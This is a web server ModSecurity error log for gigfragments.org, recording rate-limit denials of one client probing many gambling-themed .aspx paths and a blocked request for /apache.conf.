[Thu Mar 05 20:27:04.058614 2026] [:error] [pid 53350:tid 53386] [client 185.231.100.72:49188] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aal2mKO0Baxc5WFYeP08yAAAAQo"]
[Thu Mar 05 20:27:06.151264 2026] [:error] [pid 53350:tid 53399] [client 185.231.100.72:49204] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aal2mqO0Baxc5WFYeP081AAAARY"]
[Thu Mar 05 20:27:08.075907 2026] [:error] [pid 62435:tid 62459] [client 185.231.100.72:53358] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aal2nCMZJMDfZh_-8sWA-QAAAMk"]
[Thu Mar 05 20:27:10.154751 2026] [:error] [pid 41459:tid 41476] [client 185.231.100.72:53360] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aal2nudFBZEnZ3pzxrU8wQAAAUI"]
[Thu Mar 05 20:27:12.278586 2026] [:error] [pid 53350:tid 53376] [client 185.231.100.72:53376] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aal2oKO0Baxc5WFYeP088gAAAQE"]
[Thu Mar 05 20:27:14.319782 2026] [:error] [pid 41459:tid 41480] [client 185.231.100.72:53392] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aal2oudFBZEnZ3pzxrU8zQAAAUY"]
[Thu Mar 05 20:27:16.241977 2026] [:error] [pid 53350:tid 53393] [client 185.231.100.72:53408] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aal2pKO0Baxc5WFYeP08_gAAARA"]
[Thu Mar 05 20:27:18.152055 2026] [:error] [pid 53350:tid 53397] [client 185.231.100.72:37338] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aal2pqO0Baxc5WFYeP09AgAAARQ"]
[Thu Mar 05 20:27:20.064181 2026] [:error] [pid 53350:tid 53388] [client 185.231.100.72:37348] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aal2qKO0Baxc5WFYeP09EQAAAQs"]
[Thu Mar 05 20:27:21.958450 2026] [:error] [pid 53350:tid 53385] [client 185.231.100.72:37354] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aal2qaO0Baxc5WFYeP09HQAAAQk"]
[Thu Mar 05 20:27:23.872286 2026] [:error] [pid 53350:tid 53400] [client 185.231.100.72:37364] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aal2q6O0Baxc5WFYeP09KgAAARc"]
[Thu Mar 05 20:27:25.782298 2026] [:error] [pid 62173:tid 62258] [client 185.231.100.72:37376] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aal2rWj_GWbFb-1ncGl4QAAAAAY"]
[Thu Mar 05 20:27:27.709625 2026] [:error] [pid 53350:tid 53395] [client 185.231.100.72:58426] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aal2r6O0Baxc5WFYeP09NQAAARI"]
[Thu Mar 05 20:27:29.764406 2026] [:error] [pid 53350:tid 53386] [client 185.231.100.72:58428] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aal2saO0Baxc5WFYeP09PAAAAQo"]
[Thu Mar 05 20:27:31.839744 2026] [:error] [pid 41459:tid 41480] [client 185.231.100.72:58432] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aal2s-dFBZEnZ3pzxrU87wAAAUY"]
[Thu Mar 05 20:27:33.754815 2026] [:error] [pid 53350:tid 53394] [client 185.231.100.72:58448] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aal2taO0Baxc5WFYeP09RgAAARE"]
[Thu Mar 05 20:27:35.697218 2026] [:error] [pid 41459:tid 41476] [client 185.231.100.72:58452] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aal2t-dFBZEnZ3pzxrU8-QAAAUI"]
[Thu Mar 05 20:27:37.589346 2026] [:error] [pid 53350:tid 53378] [client 185.231.100.72:39516] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aal2uaO0Baxc5WFYeP09WQAAAQM"]
[Thu Mar 05 20:27:39.499055 2026] [:error] [pid 62176:tid 62299] [client 185.231.100.72:39522] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aal2uyNfTPJryi30JPn8sgAAAE8"]
[Thu Mar 05 20:27:41.554482 2026] [:error] [pid 41459:tid 41484] [client 185.231.100.72:39532] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aal2vedFBZEnZ3pzxrU9CAAAAUo"]
[Thu Mar 05 20:27:43.469129 2026] [:error] [pid 62177:tid 62313] [client 185.231.100.72:39548] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aal2vxWSQc2OzPrsnwXb0gAAAII"]
[Thu Mar 05 20:27:45.411928 2026] [:error] [pid 53350:tid 53378] [client 185.231.100.72:39558] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aal2waO0Baxc5WFYeP09cQAAAQM"]
[Thu Mar 05 20:27:47.489952 2026] [:error] [pid 62173:tid 62263] [client 185.231.100.72:39566] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aal2w2j_GWbFb-1ncGl4RAAAAAs"]
[Thu Mar 05 20:27:49.557039 2026] [:error] [pid 62435:tid 62452] [client 185.231.100.72:44542] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aal2xSMZJMDfZh_-8sWBEQAAAMI"]
[Thu Mar 05 20:27:51.649087 2026] [:error] [pid 62435:tid 62453] [client 185.231.100.72:44544] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aal2xyMZJMDfZh_-8sWBEgAAAMM"]
[Thu Mar 05 20:28:28.323826 2026] [:error] [pid 62435:tid 62458] [client 185.231.100.72:44554] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aal27CMZJMDfZh_-8sWBPgAAAMg"]
[Thu Mar 05 20:28:30.155424 2026] [:error] [pid 62177:tid 62334] [client 185.231.100.72:56704] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aal27hWSQc2OzPrsnwXcFwAAAJY"]
[Thu Mar 05 20:28:32.204915 2026] [:error] [pid 41459:tid 41490] [client 185.231.100.72:56720] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aal28OdFBZEnZ3pzxrU9jwAAAVA"]
[Thu Mar 05 20:28:34.268142 2026] [:error] [pid 41459:tid 41492] [client 185.231.100.72:56734] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aal28udFBZEnZ3pzxrU9mAAAAVI"]
[Thu Mar 05 20:28:36.323646 2026] [:error] [pid 41459:tid 41479] [client 185.231.100.72:56738] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aal29OdFBZEnZ3pzxrU9oQAAAUU"]
[Thu Mar 05 20:28:38.213273 2026] [:error] [pid 62177:tid 62331] [client 185.231.100.72:43662] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aal29hWSQc2OzPrsnwXcMwAAAJM"]
[Thu Mar 05 20:28:40.100011 2026] [:error] [pid 53350:tid 53380] [client 185.231.100.72:43664] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aal2-KO0Baxc5WFYeP0-GwAAAQU"]
[Thu Mar 05 20:28:42.005443 2026] [:error] [pid 62173:tid 62275] [client 185.231.100.72:43674] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aal2-mj_GWbFb-1ncGl4VwAAABU"]
[Thu Mar 05 20:28:44.046403 2026] [:error] [pid 41459:tid 41495] [client 185.231.100.72:43690] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aal2_OdFBZEnZ3pzxrU9yQAAAVU"]
[Thu Mar 05 20:28:45.932340 2026] [:error] [pid 62435:tid 62464] [client 185.231.100.72:43706] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aal2_SMZJMDfZh_-8sWBTgAAAM4"]
[Thu Mar 05 20:28:47.822674 2026] [:error] [pid 62173:tid 62254] [client 185.231.100.72:41180] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aal2_2j_GWbFb-1ncGl4WQAAAAI"]
[Thu Mar 05 20:28:49.872200 2026] [:error] [pid 41459:tid 41491] [client 185.231.100.72:41190] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aal3AedFBZEnZ3pzxrU93AAAAVE"]
[Thu Mar 05 20:28:51.772546 2026] [:error] [pid 62177:tid 62315] [client 185.231.100.72:41198] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aal3AxWSQc2OzPrsnwXcaAAAAIQ"]
[Thu Mar 05 20:28:53.653736 2026] [:error] [pid 41459:tid 41479] [client 185.231.100.72:41210] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aal3BedFBZEnZ3pzxrU9-AAAAUU"]
[Thu Mar 05 20:28:55.711803 2026] [:error] [pid 62435:tid 62454] [client 185.231.100.72:41220] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aal3ByMZJMDfZh_-8sWBUgAAAMQ"]
[Thu Mar 05 20:28:57.585933 2026] [:error] [pid 62435:tid 62451] [client 185.231.100.72:35426] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aal3CSMZJMDfZh_-8sWBUwAAAME"]
[Thu Mar 05 20:28:59.498745 2026] [:error] [pid 41459:tid 41486] [client 185.231.100.72:35442] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aal3C-dFBZEnZ3pzxrU-JAAAAUw"]
[Thu Mar 05 20:29:01.398785 2026] [:error] [pid 53350:tid 53390] [client 185.231.100.72:35456] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aal3DaO0Baxc5WFYeP0-PgAAAQ0"]
[Thu Mar 05 20:29:03.440985 2026] [:error] [pid 53350:tid 53395] [client 185.231.100.72:35466] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aal3D6O0Baxc5WFYeP0-RAAAARI"]
[Thu Mar 05 20:29:05.327780 2026] [:error] [pid 53350:tid 53381] [client 185.231.100.72:35482] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aal3EaO0Baxc5WFYeP0-TgAAAQY"]
[Thu Mar 05 20:29:07.368059 2026] [:error] [pid 53350:tid 53385] [client 185.231.100.72:35498] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aal3E6O0Baxc5WFYeP0-VgAAAQk"]
[Thu Mar 05 20:29:09.242408 2026] [:error] [pid 53350:tid 53400] [client 185.231.100.72:51370] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aal3FaO0Baxc5WFYeP0-WQAAARc"]
[Thu Mar 05 20:29:11.272267 2026] [:error] [pid 62177:tid 62333] [client 185.231.100.72:51384] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aal3FxWSQc2OzPrsnwXclgAAAJU"]
[Thu Mar 05 20:29:13.327501 2026] [:error] [pid 53350:tid 53375] [client 185.231.100.72:51396] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aal3GaO0Baxc5WFYeP0-YgAAAQA"]
[Thu Mar 05 20:29:15.394152 2026] [:error] [pid 53350:tid 53396] [client 185.231.100.72:51400] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aal3G6O0Baxc5WFYeP0-cQAAARM"]
[Thu Mar 05 20:29:17.259773 2026] [:error] [pid 53350:tid 53389] [client 185.231.100.72:51402] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aal3HaO0Baxc5WFYeP0-fAAAAQw"]
[Thu Mar 05 20:29:19.298827 2026] [:error] [pid 53350:tid 53380] [client 185.231.100.72:36790] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aal3H6O0Baxc5WFYeP0-hAAAAQU"]
[Thu Mar 05 20:29:21.197163 2026] [:error] [pid 53350:tid 53378] [client 185.231.100.72:36798] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aal3IaO0Baxc5WFYeP0-kAAAAQM"]
[Thu Mar 05 20:29:23.073748 2026] [:error] [pid 53350:tid 53391] [client 185.231.100.72:36808] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aal3I6O0Baxc5WFYeP0-nAAAAQ4"]
[Thu Mar 05 22:00:39.634683 2026] [:error] [pid 41459:tid 41484] [client 3.216.79.81:53202] [client 3.216.79.81] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/apache.conf"] [unique_id "aamMh-dFBZEnZ3pzxrVsfQAAAUo"]
